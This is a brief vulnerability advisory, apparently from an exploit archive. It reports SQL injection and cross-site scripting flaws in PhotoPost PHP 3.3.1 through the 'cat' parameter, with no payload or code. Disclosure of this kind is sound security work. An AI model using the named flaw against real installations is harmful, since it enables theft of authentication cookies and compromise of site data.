PhotoPost PHP 3.3.1 - 'cat' Cross-Site Scripting / SQL Injection

source: https://www.securityfocus.com/bid/35996/info

PhotoPost PHP is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PhotoPost PHP 3.3.1 is vulnerable; other versions may also be affected.
